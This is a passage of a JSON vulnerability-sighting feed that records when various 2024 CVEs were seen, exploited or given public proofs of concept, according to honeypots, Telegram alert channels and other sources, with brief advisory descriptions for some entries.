"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d08e2367-edbb-4c0b-bd7d-d3479a89ffad", "content": "", "creation_timestamp": "2026-02-02T12:26:21.855514Z"}, {"uuid": "54698303-3079-4dc8-9ab3-e9d5e23dd1d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-27)", "content": "", "creation_timestamp": "2026-03-27T00:00:00.000000Z"}, {"uuid": "23fb3ac3-370f-44d5-9e1f-0939c11f5ed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-27)", "content": "", "creation_timestamp": "2026-03-27T00:00:00.000000Z"}, {"uuid": "b29a8521-b9ff-40d4-9b50-ebbc54540a48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12632", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/cb44f848-2e46-430a-b089-517177296c87", "content": "", "creation_timestamp": "2024-12-15T10:09:25.481534Z"}, {"uuid": "81553964-e6b0-4573-9e0d-056b0bbcf911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/602ffeaf-2425-48cc-967c-0efad9629dd0", "content": "", "creation_timestamp": "2025-01-07T12:38:58.150623Z"}, {"uuid": "93274117-f48b-45bc-859d-f4ddc258af39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/602ffeaf-2425-48cc-967c-0efad9629dd0", "content": "", "creation_timestamp": "2025-01-07T12:38:58.150623Z"}, {"uuid": "d4bdf883-052e-4917-a609-aaf4ee124223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/602ffeaf-2425-48cc-967c-0efad9629dd0", "content": "", "creation_timestamp": "2025-01-07T12:38:58.150623Z"}, {"uuid": "1237b43e-b210-475b-ae5a-76531bde41d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/602ffeaf-2425-48cc-967c-0efad9629dd0", "content": "", "creation_timestamp": "2025-01-07T12:38:58.150623Z"}, {"uuid": "625747c7-7b37-426e-95f4-ac7c4bd6ff52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d938dc28-6877-40db-ad5f-25f3051288e6", "content": "", "creation_timestamp": "2025-01-14T19:20:59.611947Z"}, {"uuid": "0d2e2085-5cbe-4c64-8f49-c5daf3032550", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d938dc28-6877-40db-ad5f-25f3051288e6", "content": "", "creation_timestamp": "2025-01-14T19:20:59.611947Z"}, {"uuid": "ab136273-a49d-45bc-94a5-9a2b1815f080", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d938dc28-6877-40db-ad5f-25f3051288e6", "content": "", "creation_timestamp": "2025-01-14T19:20:59.611947Z"}, {"uuid": "f278f86f-a3ec-4f7d-a464-b235b81eec31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d938dc28-6877-40db-ad5f-25f3051288e6", "content": "", "creation_timestamp": "2025-01-14T19:20:59.611947Z"}, {"uuid": "2a758659-f27e-4fcd-a6a4-70ffb5c803fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d938dc28-6877-40db-ad5f-25f3051288e6", "content": "", "creation_timestamp": "2025-01-14T19:20:59.611947Z"}, {"uuid": "10b6fcea-f118-4787-bf91-be442d26fcc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d938dc28-6877-40db-ad5f-25f3051288e6", "content": "", "creation_timestamp": "2025-01-14T19:20:59.611947Z"}, {"uuid": "6d6b056c-6a59-4c70-8d18-ca2038a6a4c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12058", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/85f9fd3a-b2ef-443b-b091-2cad7418236f", "content": "", "creation_timestamp": "2025-02-11T19:05:13.397489Z"}, {"uuid": "dc3fa7da-79f8-431f-a4e9-0066913749b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/fa564b90-570e-4019-98ec-06e92280bea5", "content": "", "creation_timestamp": "2025-02-12T13:38:55.560603Z"}, {"uuid": "8dec4635-9a4d-46b3-a008-4cd02e09e7b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/bbcbc485-b88d-4831-b8e9-6e37e7bd9875", "content": "", "creation_timestamp": "2026-01-21T21:18:16.771453Z"}, {"uuid": "b08ed4ae-99c4-4b03-8b6f-1f32d042aac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3f184bde-7860-499f-b179-471a2efc40de", "content": "", "creation_timestamp": "2026-02-02T12:26:16.834172Z"}, {"uuid": "100fa7f6-7f71-444c-91aa-96ba3febbaf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4307b145-b847-4e6e-95e2-73fbac1d3256", "content": "", "creation_timestamp": "2026-02-02T12:26:01.216196Z"}, {"uuid": "a81923c7-4ef3-4fd7-9f80-e9e58130f447", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/73b19dc5-0069-45a1-b2b3-ac14f1f04fe5", "content": "", "creation_timestamp": "2026-02-02T12:26:17.653144Z"}, {"uuid": "596051e0-336a-4df6-9899-d98e1b749d4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12025", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mimmlfjlkl22", "content": "", "creation_timestamp": "2026-04-03T21:02:35.395310Z"}, {"uuid": "865092cb-f454-4db3-8043-abf0f12ada5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12254", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3miogaw2zts22", "content": "", "creation_timestamp": "2026-04-04T14:14:41.812524Z"}, {"uuid": "94e6bebe-32e8-456a-b621-e1b8f398d85d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mknr2dopkb2w", "content": "", "creation_timestamp": "2026-04-29T18:45:33.017236Z"}, {"uuid": "22f10a61-ce1a-4807-8aee-d1121f01d495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12905", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/12614", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12905\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)\n\ud83d\udd39 Description: An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.\n\nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.8.\n\ud83d\udccf Published: 2025-03-27T16:25:34.410Z\n\ud83d\udccf Modified: 2025-04-20T15:42:44.814Z\n\ud83d\udd17 References:\n1. https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed\n2. https://www.seal.security/blog/a-link-to-the-past-uncovering-a-new-vulnerability-in-tar-fs", "creation_timestamp": "2025-04-20T16:01:34.000000Z"}, {"uuid": "160ee0f8-9398-4da4-8fd2-989556a1d8ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12862", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12664", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12862\n\ud83d\udd25 CVSS Score: 5.5 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H)\n\ud83d\udd39 Description: Incorrect Authorization vulnerability in the OpenText Content Server REST API on Windows, Linux allows users without the appropriate permissions to remove external collaborators.This issue affects Content Server: 20.2-24.4.\n\ud83d\udccf Published: 2025-04-21T14:22:59.811Z\n\ud83d\udccf Modified: 2025-04-21T14:56:38.978Z\n\ud83d\udd17 References:\n1. https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0839115", "creation_timestamp": "2025-04-21T15:02:43.000000Z"}, {"uuid": "2057b823-8003-49d9-b15c-819a766a234a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12543", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12690", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12543\n\ud83d\udd25 CVSS Score: 5.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: User Enumeration and Data Integrity in Barcode functionality in OpenText Content Management versions 24.3-25.1on Windows and Linux allows a malicous authenticated attacker to potentially alter barcode attributes.\n\ud83d\udccf Published: 2025-04-21T15:14:20.984Z\n\ud83d\udccf Modified: 2025-04-21T15:36:51.036Z\n\ud83d\udd17 References:\n1. https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0839119", "creation_timestamp": "2025-04-21T16:02:59.000000Z"}, {"uuid": "82d3d95b-d071-4c06-b0a8-589fb4001f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12863", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12696", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12863\n\ud83d\udd25 CVSS Score: 5.6 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: Stored XSS in Discussions in OpenText Content Management CE 20.2 to 25.1 on Windows and Linux allows authenticated malicious users to inject code into the system.\n\ud83d\udccf Published: 2025-04-21T15:13:04.555Z\n\ud83d\udccf Modified: 2025-04-21T15:24:29.951Z\n\ud83d\udd17 References:\n1. https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0839121", "creation_timestamp": "2025-04-21T16:03:04.000000Z"}, {"uuid": "9ce9a056-2726-4cff-9d9d-75385813071b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1217", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13239", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1217\n\ud83d\udd25 CVSS Score: 7.6 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L)\n\ud83d\udd39 Description: The Contact Form builder with drag & drop for WordPress \u2013 Kali Forms plugin for WordPress is vulnerable to unauthorized plugin deactivation due to a missing capability check on the await_plugin_deactivation function in all versions up to, and including, 2.3.41. This makes it possible for authenticated attackers, with subscriber access or higher, to deactivate any active plugins.\n\ud83d\udccf Published: 2024-02-20T18:56:35.250Z\n\ud83d\udccf Modified: 2025-04-24T15:03:23.203Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7be75b0a-737d-4f0d-b024-e207af4573cd?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3036466/kali-forms/trunk?contextall=1&old=3029334&old_path=%2Fkali-forms%2Ftrunk", "creation_timestamp": "2025-04-24T15:06:27.000000Z"}, {"uuid": "d04b7342-2018-44c6-af55-a523df7721f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-06)", "content": "", "creation_timestamp": "2026-04-06T00:00:00.000000Z"}, {"uuid": "5fd743b3-b514-42af-85b6-12c71164f468", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12828", "type": "published-proof-of-concept", "source": "Telegram/-SheSx5ksKpdA3MDPZPaYuWsFtJr9IdvewaeEwjO0RnecSM", "content": "", "creation_timestamp": "2025-12-05T09:00:05.000000Z"}, {"uuid": "92b80eef-f30f-42db-82e6-f148309e8c04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-06)", "content": "", "creation_timestamp": "2026-04-06T00:00:00.000000Z"}, {"uuid": "348e8ab7-597d-4d66-9bdc-039202f70bca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12227", "type": "published-proof-of-concept", "source": "Telegram/OHr82OtRsE7SrX-5JX0BTKOCwGseELWPcAGkyhObfyZN6dU", "content": "", "creation_timestamp": "2025-12-14T15:00:08.000000Z"}, {"uuid": "bea8d2cf-779e-4f3b-a4c0-72505a51ecc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "Telegram/Du0MdwVxk-m_a0lPRgOSkwKDcmvhNbHj6kmNSaYCuL7u0_A", "content": "", "creation_timestamp": "2025-11-24T21:00:05.000000Z"}, {"uuid": "9524ee1a-89a7-4cc6-ae1d-26f41de5c9de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-07)", "content": "", "creation_timestamp": "2026-04-07T00:00:00.000000Z"}, {"uuid": "5021d739-8c90-4c2b-a780-899cb406a549", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1243", "type": "published-proof-of-concept", "source": "Telegram/P3uzVteJIOiG3Gg-zKek4C3h9lNxS0xZPtAdcuiBiGsp_Ws", "content": "", "creation_timestamp": "2025-06-11T11:03:44.000000Z"}, {"uuid": "b02f1053-ebcf-4763-96d1-d11bf4054c14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12380", "type": "seen", "source": "https://t.me/cvedetector/20200", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12380 - GitLab Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12380 \nPublished : March 13, 2025, 6:15 a.m. | 1\u00a0hour, 20\u00a0minutes ago \nDescription : An issue was discovered in GitLab EE/CE affecting all versions starting from 11.5 before 17.7.7, all versions starting from 17.8 before 17.8.5, all versions starting from 17.9 before 17.9.2. Certain user inputs in repository mirroring settings could potentially expose sensitive authentication information. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-13T08:55:51.000000Z"}, {"uuid": "e35cda9b-024f-4ea3-b127-1d8b2ee25490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-08)", "content": "", "creation_timestamp": "2026-04-08T00:00:00.000000Z"}, {"uuid": "9ba76dbe-657b-4b1f-bbb3-ded11bd055a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-08)", "content": "", "creation_timestamp": "2026-04-08T00:00:00.000000Z"}, {"uuid": "64301cc1-8103-4a46-9406-ed9aa052dbf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-09)", "content": "", "creation_timestamp": "2026-04-09T00:00:00.000000Z"}, {"uuid": "6ec54706-3d74-4f92-895e-f0f26aed72a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-09)", "content": "", "creation_timestamp": "2026-04-09T00:00:00.000000Z"}, {"uuid": "7ad7d217-0be3-40e5-8837-fefe944e463f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-10)", "content": "", "creation_timestamp": "2026-04-10T00:00:00.000000Z"}, {"uuid": "1cd0f4e7-37fa-46f7-af71-39eb17570c27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-10)", "content": "", "creation_timestamp": "2026-04-10T00:00:00.000000Z"}, {"uuid": "c80d15d5-0fe6-4482-bf00-93cd34bbb30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-11)", "content": "", "creation_timestamp": "2026-04-11T00:00:00.000000Z"}, {"uuid": "2542b044-507d-450b-be9c-7285c066dbc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-11)", "content": "", "creation_timestamp": "2026-04-11T00:00:00.000000Z"}, {"uuid": "eff94ee1-2e03-4673-b421-54a409053b44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12544", "type": "seen", "source": "Telegram/5hND7R2w0kC3XleZJEnXoTUt0Lobi47ifkL0LXMwVPLDDpOF", "content": "", "creation_timestamp": "2025-03-02T11:46:31.000000Z"}, {"uuid": "ad244dad-8b6c-4df1-a4a7-6de62c18c4fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12629", "type": "seen", "source": "Telegram/28de5MNI4hISloSxqgQQ_rvK-XKntzz9jDUltlkwA-5hQr2Z", "content": "", "creation_timestamp": "2025-02-20T23:27:06.000000Z"}, {"uuid": "4d605f4b-b44b-44fc-a2a0-de043fcd6219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-12)", "content": "", "creation_timestamp": "2026-04-12T00:00:00.000000Z"}, {"uuid": "eb06d878-8159-49f2-a1f8-5790df2b4478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-12)", "content": "", "creation_timestamp": "2026-04-12T00:00:00.000000Z"}, {"uuid": "43c50fa1-2788-48ef-a153-c19cb2793148", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-13)", "content": "", "creation_timestamp": "2026-04-13T00:00:00.000000Z"}, {"uuid": "8867edf3-2b4c-41a0-8256-38f43f5aabcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-13)", "content": "", "creation_timestamp": "2026-04-13T00:00:00.000000Z"}, {"uuid": "5ea42494-683e-4f5b-b956-e07633efac2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12010", "type": "seen", "source": "https://t.me/cvedetector/20029", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12010 - Zyxel AX7501-B1 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12010 \nPublished : March 11, 2025, 2:15 a.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : A post-authentication command injection vulnerability in the \u201dzyUtilMailSend\u201d function of the Zyxel\u00a0AX7501-B1 firmware version\u00a0V5.17(ABPC.5.3)C0 and earlier could allow an authenticated attacker with administrator privileges to execute operating system (OS) commands on a vulnerable device. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-11T05:05:02.000000Z"}, {"uuid": "e0673db1-d496-40fa-9243-6a091a1aef40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12009", "type": "seen", "source": "https://t.me/cvedetector/20028", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12009 - Zyxel EX5601-T1 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12009 \nPublished : March 11, 2025, 2:15 a.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : A post-authentication command injection vulnerability in the \"ZyEE\" function of the Zyxel EX5601-T1 firmware version V5.70(ACDZ.3.6)C0 and earlier could allow an authenticated attacker with administrator privileges to execute operating system (OS) commands on a vulnerable device. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-11T05:05:02.000000Z"}, {"uuid": "de3cfd8c-934a-4030-96e4-50b80a029e75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "Telegram/UNBx4TUwIdIM61cIiunSJpVnzNfd2CHxBlPFE0QOFz9Dq2pw", "content": "", "creation_timestamp": "2025-02-06T02:40:19.000000Z"}, {"uuid": "6c4c8894-3d4b-4b37-8f76-bb838543fa40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-14)", "content": "", "creation_timestamp": "2026-04-14T00:00:00.000000Z"}, {"uuid": "ba562bf4-223c-42d1-8495-e313d3e25a78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-14)", "content": "", "creation_timestamp": "2026-04-14T00:00:00.000000Z"}, {"uuid": "233cd77f-182b-4539-948c-c63dd8219275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12023", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14431", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12023\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The FULL \u2013 Cliente plugin for WordPress is vulnerable to SQL Injection via the 'formId' parameter in all versions 3.1.5 